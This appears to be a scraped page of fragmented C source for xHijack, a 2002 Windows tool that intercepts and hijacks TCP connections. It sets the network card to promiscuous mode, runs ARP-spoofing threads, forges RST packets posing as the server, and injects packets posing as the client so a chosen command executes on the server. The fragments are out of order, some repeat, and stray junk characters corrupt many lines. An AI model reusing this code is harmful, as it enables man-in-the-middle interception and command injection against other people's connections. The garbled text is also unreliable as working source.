    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
9 ^. ]' _( ?- y) M2 q8 |    memset(g_lpSendPacket->Buffer, 0, 1514);
) C7 }+ o* l5 T/ U/ D) I& }    memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
8 n8 j$ l: G. W2 z( b    {
* {- L* u8 E# Q      printf("Error sending the hijack packets!\n");
) X3 n6 S) H* R4 I& T2 s- I- B+ u7 S      __leave;
6 Q6 b/ U& C  C' s4 g    }
    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
  }

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) { //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); //get ip address 5 j% ~8 n1 e( C* Y" b$ y8 O pIPAddr = &pTmp->IpAddressList; while(pIPAddr) N# g" Y. N/ k+ s* R { g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); pIPAddr = pIPAddr->Next; if(g_TotalIP >= Max_Num_IPAddr) break; } ; e* ^" l/ v6 ~% v break; 0 u: N$ R) t' o( x } * A9 u0 t5 u. w/ e# I( t pTmp = pTmp->Next; , u4 Y1 B, m- g8 c4 ]3 f% X) F } free(pAdapterInfo); $ ^ f# N; Z& ]; u9 R2 w# i; v //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// //open adapter 4 c, D9 a3 r. t& s lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); : K4 n! o; J2 J+ O* t if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { % R& V {" M |3 U iRetCode = GetLastError(); 3 k- q" w$ S8 R" I0 { printf("Unable to open the driver, Error Code : %lx\n", iRetCode); ; P- A7 d2 e4 L9 R7 w3 \7 D return 0; } $ f! X' W4 h( z r, C9 t* ^* b3 @' q // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { + y9 V7 S& @% Q- c. \% }* g printf("Unable to set ALL_LOCAL mode!\n"); return 0; } } * ^+ F( T# ^* @6 R2 ^1 `3 ` // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 512000) == FALSE) { printf("Unable to set the kernel buffer!\n"); 1 r. j; |9 t! q, s* A8 g return 0; : Q: ^: i0 E2 B3 Q& ?0 A# J } // set a 1 second read timeout y. i7 Q" P# e& q if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) * r0 O9 [* J" p% U9 y printf("Warning: unable to set the read tiemout!\n"); if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 9 Z! z- G1 _9 B, c printf("warning: Unable to send more than one packet in a single write!\n"); * ^& P8 b- M. h$ u1 i6 \ //设置发送的packet - ]) J5 s6 U5 c O g_lpSendPacket = PacketAllocatePacket(); $ s$ N9 P0 J4 K0 r: e; k: B' _ if(g_lpSendPacket == NULL) $ C( z* W/ X& D/ u, N2 O4 |5 A# F { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); return 0; } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 0 v' q2 Y4 Q( M7 U+ f2 v% s PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); ' V: w* B& i4 [& J+ d, M0 a( h return lpAdapter; ) P# C1 z1 m% V. ^* K9 @} & `. m9 m9 T: y+ z5 X, {" Z : G- c8 d6 @' h. p, E% q5 }( R3 @//功能：帮助信息 void usage() 6 S& C7 }( V8 ]& L4 D$ C% j{ printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 3 I1 u" P. h( E1 _3 J3 I "By eyas 2002/8/19\n" % I7 P3 Y% y: R. W& k "http://www.ey4s.org\n" "Thanks to Refd0m and shotgun\n\n" 5 M/ g5 g9 n; z8 }0 D; ~ "Usage: xHijack ServerSide ClientSide\n\n"); } 6 h( u# X! @ N& z9 y & v$ U/ F% T) {2 R+ L) q2 G// 5 Y3 R1 @7 `$ a$ V7 ]: q$ B/ a2 {//功能：显示数据包的一些详细信息 4 R4 P1 C1 _) w* o// 4 x5 H* k" {6 qVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 0 L: r. k4 @ u6 z$ j# s" P# @0 Q{ SOCKADDR_IN saDest, saSrc; unsigned char FlagMask; int i; " g5 o9 z9 U+ `& y saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag k+ r+ ~* p' T for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) $ l) L+ R2 `) G; P7 r& o! d; i1 w { 8 `( d- Z; F5 L, `2 t+ w1 a if((pTCPPacket->tcphdr.th_flag) & FlagMask) printf("%c", g_szTcpFlag); ) ?( {9 a! L+ T' @ else printf("-"); } . ?2 B- l6 ~$ z' F+ j printf("\n"); 1 H$ c) ^$ \# o; K6 J+ Q2 q //如有需要，可显示更多详细的信息 if(bDetail) printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); } 0 Z; Z. y- Y- M* C/ i' d% m1 f 7 a5 J' z g9 L, ^* Z: u/ {// ) m4 t+ a5 {* f) W. m' c1 G//功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 . R+ U I o, j6 ^// 6 x! h% M4 ] M4 U' v5 v6 H7 SDWORD WINAPI AnalysePacketsThread(LPVOID lp) * i4 o5 \' S$ |$ T{ ULONG ulBytesReceived; USHORT usDataLen; , h* a* {8 r. k8 l I! ^) Z //USHORT usIPHeadLen, usTCPHeadLen; char *buf; * v) S4 o; y6 R: _: @ u_int off, i; 0 }8 e. R: P+ p! y' `) {8 i% R+ @7 k PTCPPACKET pTCPPacket; struct bpf_hdr *hdr; LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; BOOL bDeleteNode, bAddNew; 1 x# \$ d# x3 H4 Y6 Z3 B: F6 Z4 A DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端 + Q/ s; S" A; D! i8 ? - _2 S. s4 b8 p Q; y //设置接收的packet $ `3 Y% ? T7 L lpRecvPacket = PacketAllocatePacket(); 6 @ q) p! S3 z5 I, f) x( f if(lpRecvPacket == NULL) ; v& u3 U) X9 o/ T, J; O { 5 X9 F( S W, S2 s printf("Error:failed to allocate the LPPACKET structure for recv.\n"); " R- d& L9 T: d5 x- l& v" X* o1 q return 0; : \& l- A" D4 {, q } 1 u( B5 B/ P% z/ | ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) # R1 I) X$ ?# A) O2 A# P { // capture the packets if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\n"); 4 R( r. ?/ D% b0 K break; 5 h' T* e4 @& e; x2 S } # \% F1 ~) A5 i6 n# v' ] ulBytesReceived = lpRecvPacket->ulBytesReceived; $ L# ]( ~3 L6 q7 m8 s, y buf = lpRecvPacket->Buffer; $ _4 h C! ~! _" U$ | off = 0; while(off < ulBytesReceived) ( Q# r3 f) u5 E' e- e { 3 N7 ~9 w1 o- A) _& G9 z hdr = (struct bpf_hdr *)(buf + off); off += hdr->bh_hdrlen; ' ~' y3 K$ j: f8 U C3 x. } pTCPPacket = (PTCPPACKET)(buf + off); 7 b* y; i: B4 [ off = Packet_WORDALIGN(off + hdr->bh_caplen); 9 B( y2 |. N$ N- ~% f# z! ? //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; //检查是否IP包 2 c: C4 d2 I; F/ h9 H if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; //检查是否TCP包 if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; //也不处理DestIP是自己的包 ! J9 E( {' Y0 |2 R, h2 s/ d) K for(i=0; i

韩冰

// 3 x2 p1 k) i- w//功能：列出当前所有连接 // void ListAllConnection() { PCONNINFO pTmp; # V* q7 i4 d1 y! B. ^2 P- z SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; while(pTmp) { if(pTmp->bActive) ! u! Q; T4 S, { { ( {; N u& a- A saSource.sin_addr.s_addr = pTmp->dwServerIP; 0 E9 P: ~9 J' O; { saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), & ~" X1 `+ ~9 ? c+ l3 K ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } / E! f. f1 R( h; \ pTmp = pTmp->Next; + Y( F, ~1 ~) _) k2 T } } // //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // , P, f' g6 q. ?LPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; ) j$ y9 d, @$ o9 l3 Q char szSelectAdapterName[512]; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ULONG AdapterLength = 1024; int iAdapterNum = 0; int iRetCode, i; int iAdapter = 0; ULONG ulLen = 0; DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 8 k ?) |# N: h4 F PIP_ADDR_STRING pIPAddr; 5 \ \! a. a0 w/ z& b% }6 c" {9 f! I 4 R' p# M' ?8 x8 _4 c$ j //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 8 A) _1 g# ]2 z& f { printf("Unable to retrieve the list of the adapters!\n"); + p1 C" r3 U e! q! F C5 I# X; B9 y return 0; } ( o: s! u( p1 Q" A1 o temp = temp1 = AdapterName; + B! L+ ?: v$ {, y- ]; m7 M" m i = 0; 6 ~. p) A9 F, }. l9 X, l while ((*temp != '\0')||(*(temp-1) != '\0')) , q" F- @) F. x+ J4 {' F { if (*temp == '\0') & u( l+ R) Q) O) k5 ^* |" @ { ! O. w, ?) S7 l" k0 u6 V memcpy(AdapterList,temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList); 3 f( |0 e( \: B temp1=temp+1; & u1 {/ Z4 f3 k8 l7 H i++; } temp++; } //choose adapter 2 {& _& n1 V: U; u8 Q$ D6 O5 A while((iAdapter <= 0) || (iAdapter > i)) { # X4 O* z+ T! c8 U printf("\nPlease choose your Adapter:"); scanf("%1d", &iAdapter); } printf("\n"); //---------------------------------------------// ' p" N- G8 s& c T //这里调用iphlpapi来取得本地ip_addr和mac_addr ) p3 v1 h/ o- c3 V sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ! n1 F: B5 Y* u0 q& D/ L dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! [5 m! V! d' D* W if(dwRet != ERROR_BUFFER_OVERFLOW) & q: j( f- w; n; h! w* d { + S- }' n: J+ }0 h ]) g# z/ V, g printf("GetAdapterInfo error:%d\n", GetLastError()); J/ S; Y& v4 _. J! I; j return 0; : w& ^3 B# I" c7 P- o' S } # x. ?! n3 R2 r pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) " c& w: X P( m! }. u { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); return 0; / V' z' v. R) \ } 5 o/ ]( l9 N: [5 N# j( d+ ?& i' V dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { * Z0 q. k; b; ^5 D$ D printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; $ c X8 N; A# p9 K3 p, A } 0 I+ g4 _& r* N/ H pTmp = pAdapterInfo; 9 W/ K) f J7 N7 `1 ]0 X while(pTmp) # g) f# Z9 R; k* Q { //字符匹配

韩冰

void ResetActionAllFlag()
2 X; }8 K& `, z3 p0 y{
. D! C& B& s  M% H0 v  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
0 B6 Q; o" _, V' U4 i5 q' C  g_dwAction = ACTION_NONE;
" h6 M* B  z3 K' p  m3 x}
9 f- d7 J0 W% M  ^: ]' f* ~3 J
//
/ ]4 \7 w- n" J- X" q//功能：处理Ctrl+C和Ctrl+Break事件
/ E" h6 i- L! D1 t, I- R$ G//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
3 ~* r  y3 z* L' ?+ K# i  switch(dwCtrlType)
, I: O( |! P+ Y' [: i" x  {
    case CTRL_BREAK_EVENT:
  x4 U* g/ r* Q+ P  n% v: x      //reset action all flag
, C% B3 d; P2 t  S! f      ResetActionAllFlag();
      break;
    case CTRL_C_EVENT:
      //terminate all thread
      TerminateThread(g_hThread[0], 0);
' g4 w& P0 `. l4 l) c* H      TerminateThread(g_hThread[1], 0);
      TerminateThread(g_hThread[2], 0);
      TerminateThread(g_hThread[3], 0);
3 P* B4 E- w1 n& X3 Z      break;
    default:
      break;
  }
  return TRUE;
}

//
//功能：处理用户输入
//
. l. Y- Z% v! L' Y0 L+ l- X- b# V5 zDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
8 c8 S' A7 ~4 |9 V. I2 ^' U  DWORD  i;
  char  szBuff[16];

- y) w1 e' K: o1 O  *lpCommandPos = 0;
7 f; V( r) n& T' c6 H9 x  for(i=0; i&lt;15, i代码比较乱
//
9 R; H/ p7 ]. V4 O; j4 K5 MDWORD WINAPI InterfaceThread(LPVOID lp)
{
  char  szHelp[] =  "l\t\t&lt;-- List all connections\n"
2 J! Z6 P# ?  c4 A9 \) K            "r x\t\t&lt;-- Reset the number x connection\n"
            "w x\t\t&lt;-- Watch the number x connection\n"
+ P0 P- a- a( M0 V3 ?4 ^            "h x command\t&lt;-- Hijack the number x connection to execute command\n"
            "[Note]\n"
2 u! v6 B/ B5 O            "Ctrl+Break to clear all action\n"
6 N; m, v' `2 n" Y+ e! {            "Ctrl+C to exit\n";
  char  szPrompt[] = "\nxHijack&gt;";
- [1 \$ ?1 j, J$ c" N  char  szBuffer[128];
  DWORD  dwPos;
2 A9 i0 y6 E) D' n) t& q! R. f1 B& a  PCONNINFO  pTmp;
' T1 W9 W  h7 J3 k0 k0 U
  while(1)
  {
' n) C: J6 N/ \    gets(szBuffer);//不考虑buffer overflow
# ]2 I) M( R. ~+ C    switch(szBuffer[0])
9 Q% q0 V# z' t- G0 U$ ]# \1 z0 `    {
      case 'l':
. M$ S3 G6 T  w7 \      case 'L':
        ListAllConnection();
" l0 P) U9 H, h4 Y0 R        break;
      case 'r':
) f- N1 Y: C+ j0 h- L      case 'R':
0 U! C4 A) E9 K        if(strlen(szBuffer) &gt;2)
        {
          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
/ N1 K! |  A6 [% A. c# n' ^( l6 f          g_dwAction = ACTION_RESET;
        }
        else printf("%s", szHelp);
        break;
      case 'w':
9 O& U3 c) o6 d5 N; ^8 m2 a2 c3 g( y- x      case 'W':
# ?4 ~. S. W, V4 `        if(strlen(szBuffer) &gt; 2)
6 x! e% ~5 C( V        {
          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
0 L$ B: L* o* o7 S4 h* H" g2 f, Z          g_dwAction = ACTION_WATCH;
        }
* c9 _! p  l0 k2 Z- e$ }' k        else printf("%s", szHelp);
        break;
* o2 \1 Q3 O# C' N7 B! ?2 |3 O- M      case 'h':
8 E* Z, ^: X* z& A1 [# ?+ r      case 'H'://h 1 xxx
3 G2 I, l& @' x( K, o; F/ X) H        if(strlen(szBuffer) &gt; 5)
        {
1 e( B' V9 R) ?: M          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
% k- A- l& C- u/ \- i, U* h2 q          //如果command第一个字符是'或"
% z2 G9 q' q: }- a2 Q4 [          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
$ I5 X3 H' M7 w6 c5 j8 S/ ]* _            strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
          }
          else strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
* {! t4 R  c1 U6 Q# b          strcat(g_szCommand, "\x0D\x0A");
6 Z5 @* z# ]6 O7 ]0 R2 i          g_dwAction = ACTION_HIJACK;
        }
7 R( U) r5 O" s) f& w! U        else printf("%s", szHelp);
        break;
      default:
- b: B0 C  b/ i" s' t. |        printf("%s", szHelp);
        break;
0 Y% R" v2 [' B3 f( Z7 D+ ^! U9 c    }//end of switch
0 ~5 ?& b# |6 j    //find the specify ident's struct point
& K0 g: I. Q7 q    if( (g_dwCtrlConn) &amp;&amp; (g_dwAction) )
& z5 ]' u9 w0 _) [7 l+ F8 H+ p* l    {
# w4 n" a  B1 M8 D      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
: q9 _) |, L0 p. o  E2 S      while(pTmp)
      {
1 }' Z4 s' W: Z+ N) ?: J        if((pTmp-&gt;ident == g_dwCtrlConn) &amp;&amp; (pTmp-&gt;bActive) )
        {
          g_pCurrCtrlConn = pTmp;
          break;
% G8 @1 Z) {6 C) [4 P        }
        pTmp = pTmp-&gt;Next;
9 _2 Q( I9 ^" v% C; A      }
      if(!g_pCurrCtrlConn)
( N. P; v0 k" i+ [7 p  T      {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
        //reset action all flag
& U3 D6 V( a6 z) u  R        ResetActionAllFlag();      
      }
    }
    if(!g_dwCtrlConn) ResetActionAllFlag();
3 m, X+ I& W  ~2 T3 |1 K) F    //显示当前用户所期望的动作
' t( M2 n3 n  e. N" @: ~8 D: B    printf("\nCurrentAction:");
    switch(g_dwAction)
    {
      case ACTION_WATCH:
        printf("ACTION_WATCH");
+ w: D. o$ X) O6 e        break;
' ]+ r* w4 n- i6 k, G. K      case ACTION_RESET:
% G  y' R: n8 L7 g9 B, ~, J) [        printf("ACTION_RESET");
        break;
9 P7 b9 k6 m" k$ s/ k      case ACTION_HIJACK:
) M- Y" ~$ N% \5 i, W4 U        printf("ACTION_HIJACK");
- u& S9 Z! I$ P( c        break;
  ^4 k% ^' R7 W: d      default:
2 c' ?8 ~3 i& K5 O8 @        printf("ACTION_NONE");
        break;
5 b/ p$ V( z5 p: L7 C0 A    }
4 k( x3 p/ H6 u9 K    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
( @& t2 F# I+ Z3 E  }//enf of while
7 Z  ?( n6 D9 m, ~  return 0;
}

韩冰

unsigned int  g_ServerSideIP,
4 ^( d7 Z: }8 H, _        g_ClientSideIP,
! r' z& s& H0 i' X4 R5 C! T        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
) {+ @! q5 I3 {0 L! J* n0 iunsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
0 O) R7 {& h2 v% ]$ J# Cchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
* U; M3 M; w5 o' y. |LPADAPTER    g_lpAdapter;
" O# ]# x5 T7 i# l5 D# X( w% ^//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
. r( t* W% Z9 @1 |" M1 q2 s3 kDWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
! W2 r: h+ b+ B# r$ o+ b        g_pConnHead = NULL,
3 Y% H! X/ I9 x6 q        g_pConnLast = NULL;
9 \# }! @: l9 n- Z& o' E/ Uchar      g_szSendPacketBuf[1514];
& D% N- R7 q$ ?2 |8 Y6 |5 }  D! nLPPACKET    g_lpSendPacket;
//函数
void      usage(void);
6 {# n, R; ]' @1 W! F8 i. Y: svoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
; \5 |) H2 F: M+ j$ r* ivoid      ResetActionAllFlag();
" A- y8 w) N+ ^% wUSHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
8 {4 P* K* h2 fBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
  E* U. `3 s7 P# R6 i8 i0 xDWORD      GetConnNum(char *, DWORD, DWORD *);
. s' j8 k" s! w! k* UDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
& z( V* t9 l+ E8 pDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
& s- _/ N  l2 M2 j. }' OBOOL  WINAPI  CtrlEvent(DWORD);
: z4 g% p3 J  s, i  y, J* |, A) W
& i1 D: `2 u$ C6 I* B2 }
2 ]4 B3 c7 \# P/ ?3 ~" S8 ?
0 T- \; V- k. M4 R. `int main(int argc, char **argv)
{
* [# B4 R& G' I# w  M% p7 A  struct    bpf_stat stat;
" S5 M) _" k% C' v+ j" _1 Y  int      i;
) s4 X+ T7 ?. E4 i
  usage();
  if (argc != 3) return 0;
  //取得参数
) t# w( ]( N+ J1 h3 s) b. }  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
' Y8 F9 X5 R* T! m; T6 J  //初始化adapter &amp; 一些全局变量
  g_lpAdapter = InitAdapter();
, g' x9 z, |- l6 t. @- h  if(!g_lpAdapter) return 0;
+ S% w0 T8 I* O# Q0 d+ B4 {$ }0 x, ^8 U  //get ServerSide MAC &amp; ClientSide MAC
8 r+ X- ?' q+ R  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
$ W# ~4 k, y+ d: T4 B  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
  i = 1;
& O- R" H) Q! d6 T+ s  t  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
( T, p# h' V) Q" K  Sleep(500);
1 D1 i) K) B2 Q6 A5 j! z  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
  //create analyse packet thread
# S3 E- h3 P% h) w% x6 @  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
/ _+ w, m* t- o+ }9 e  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
# ^4 Y- I' w. G4 Z, t8 t. |  //set console ctrl handle
! \3 F4 P: x3 n/ ~2 f; g1 x. I  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
% J! D3 D! |6 L    return 0;
  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
4 Y' I( z, G2 h0 |) E  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE)
1 ]3 X6 ^" p5 J; b6 o! @8 d* q    printf("Warning: unable to get stats from the kernel!\n");
  else
4 s9 A' j+ H1 _' p% z9 C    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
& ?! R1 l  @0 l: B" `! [8 Q. ^' I  //free resource   
; |; {/ ]) |- g* m8 K. U$ P  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
}

0 |* I9 [4 _( X, ?0 `: y//
//功能：重置所有于ACTION有关的标志
//

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
% O" B& x- K! @' ^2 ^        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
1 K* O$ D( J- ?3 G. X9 l! I8 M: punsigned char  g_szClientSideMAC[6];
. h- F- [- y& E2 qunsigned char  g_szServerSideMAC[6];
+ |' i# {! F7 }6 R  c6 b' s, }( Dchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
( j  |) H, k/ Q( m7 R, Q2 ~& o) ~LPADAPTER    g_lpAdapter;
9 e, `' y$ M$ l# I( ~7 C  W6 X//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
8 T' s2 R4 n, b5 T; B/ pHANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
4 V$ j! L4 q: _! iDWORD      g_dwAction;//action type
2 q. W: y3 n0 U" T8 Y: k5 aDWORD      g_dwCtrlConn;//action 所控制连接的标识
: c# B) I7 }' V+ S; g- U+ u8 X# Q; l) jDWORD      g_ident;//节点标识，递增
& Q5 F8 z' J# J) u, C& lPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
        g_pConnLast = NULL;
5 A) i$ G2 S3 g6 echar      g_szSendPacketBuf[1514];
* G& g9 M) o* K) f$ V0 a1 vLPPACKET    g_lpSendPacket;
3 b5 r. B/ Z' C8 G//函数
void      usage(void);
( u& m% l* D/ d8 x( l0 w) l9 Vvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
; D- b5 }8 `* Lvoid      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
) S6 L% F3 S( ?, s& u- u+ Z* oUSHORT      checksum(USHORT *, int);
) ?; P3 b$ n- @( ?BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
& e! D9 ~5 E/ uBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
6 S' _) Y2 Q3 d( MBOOL  WINAPI  CtrlEvent(DWORD);

; u  K+ N) K6 x) ~( C

( X1 F8 S4 P# l% hint main(int argc, char **argv)
6 i+ h0 o" _* v+ y7 g4 A* {{
  struct    bpf_stat stat;
  int      i;

  usage();
  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
6 o% b# k& \/ f, B  g_ClientSideIP = inet_addr(argv[2]);
0 S5 a3 a$ K( n( A/ J9 N$ ?  v0 a  //初始化adapter &amp; 一些全局变量
8 T0 j& P. t% W" N) U9 I  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
6 }: ^9 I# y. u; q' ]. K/ j  //get ServerSide MAC &amp; ClientSide MAC
( n& w* u. n/ ^  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
2 z0 }4 |. c. Y. C- E+ o( w  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
4 X7 R& X; }; [" H  i = 1;
  D" r  n% ^/ Y7 ]. e) I, c  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
  Sleep(500);
  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
  //create analyse packet thread
! L4 a8 ]  b$ c5 O% P& ]: `  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
. d, F! A1 P4 _  @+ y  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
, {+ |! I% Y& r/ ?7 J, l    return 0;
  }
4 J* Q5 x. X, L  //wait for any thread exit
7 W+ t% w7 a* N( g  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
9 a2 T+ Y) {5 a+ a# y" a) c  //print the capture statistics
8 \0 y# O3 [" x! I, }  ]  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
